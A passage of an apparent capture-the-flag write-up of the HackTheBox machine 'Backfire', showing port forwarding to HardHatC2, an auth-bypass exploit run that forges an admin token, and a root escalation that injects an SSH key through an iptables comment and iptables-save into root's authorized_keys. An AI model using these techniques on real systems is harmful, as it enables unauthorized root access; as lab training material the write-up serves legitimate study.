tcp 0 0 127.0.0.1:8443 127.0.0.1:35148 TIME_WAIT timewait (43.55/0/0)
tcp 0 0 127.0.0.1:40056 127.0.0.1:57840 ESTABLISHED keepalive (1.19/0/0)
tcp 0 0 127.0.0.1:8443 127.0.0.1:35152 TIME_WAIT timewait (44.84/0/0)
tcp 0 0 127.0.0.1:8443 127.0.0.1:43708 TIME_WAIT timewait (54.01/0/0)
tcp 0 0 127.0.0.1:8443 127.0.0.1:35160 TIME_WAIT timewait (47.50/0/0)
tcp 0 0 10.10.11.49:443 10.10.11.49:36464 TIME_WAIT timewait (54.88/0/0)
tcp 0 188 10.10.11.49:22 10.10.16.59:61130 ESTABLISHED on (0.47/0/0)
tcp 0 0 127.0.0.1:8443 127.0.0.1:35158 TIME_WAIT timewait (46.19/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)

We can see from the official documentation that the default ports for HardHatC2 are 5000 and 7096 which are existent on our box, so let’s forward them to our attacker machine.
ssh [email protected] -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000

We can now access the interface, however, no creds.

HardHactC2
HardHactC2

Looking into some more exploits for this, I stumble upon this HardHatC2 0-day where an unauthenticated Attacker can exploit a combination of Broken Access Control and Path Traversal vulnerabilities in HardHatC2’s /managers/addDB API endpoint. This allows writing arbitrary .pfx files at any location on the server’s filesystem.
We run the exploit and we can login with the sth_pentest user:

1
2
3
4
5
6
7
8
python3 code.py 
/home/kali/Hackthebox/Backfire/Havoc-C2-SSRF-poc/code.py:12: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiOTdjZWJmNDgtNmM3NS00MzNiLWI3MGQtMzFlZjdlOTZkNGI0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3NDkyMzA1NjQsImV4cCI6MTc1MTY0OTc2NCwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.hUnSb19favp6Om4mMmvXTqvXXKHsXrM19hQRW6SIrV8
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1100: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
warnings.warn(
User sth_pentest created

And now we can access it:

HardHactC2
HardHactC2

And we can also run commands as sergej user:

We get a revshell, we can see sergej can run iptables-save as sudo:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/Hackthebox/Backfire/Havoc-C2-SSRF-poc]
└─$ ssh [email protected]
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
sergej@backfire:~$

I found this amazing blog regarding a dangerous vulnerability in iptables that we can exploit: https://cn-sec.com/archives/3193918.html

And we can simply save any file we want and get root flag:

1
2
3
4
5
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA8HIyGJoNXYUf9/e1b7ZkdtI7pL0Ohz4pfbX03FvStL kali@kali \n'

sudo /usr/sbin/iptables -S

sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
1
2
3
4
5
6
┌──(kali㉿kali)-[~/Hackthebox/Backfire/Havoc-C2-SSRF-poc]
└─$ ssh [email protected]
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@backfire:~# cat /root/root.txt
035bd968612d75fed1d6ee6f3d868e59
root@backfire:~#

And that was it for Backfire, hope you enjoyed!
-0xkujen

  • Title: Hackthebox: Backfire
  • Author: Foued SAIDI
  • Created at : 2025-06-06 17:12:35
  • Updated at : 2025-06-06 18:34:52
  • Link: https://kujen5.github.io/2025/06/06/Hackthebox-Backfire/
  • License: This work is licensed under CC BY-NC-SA 4.0.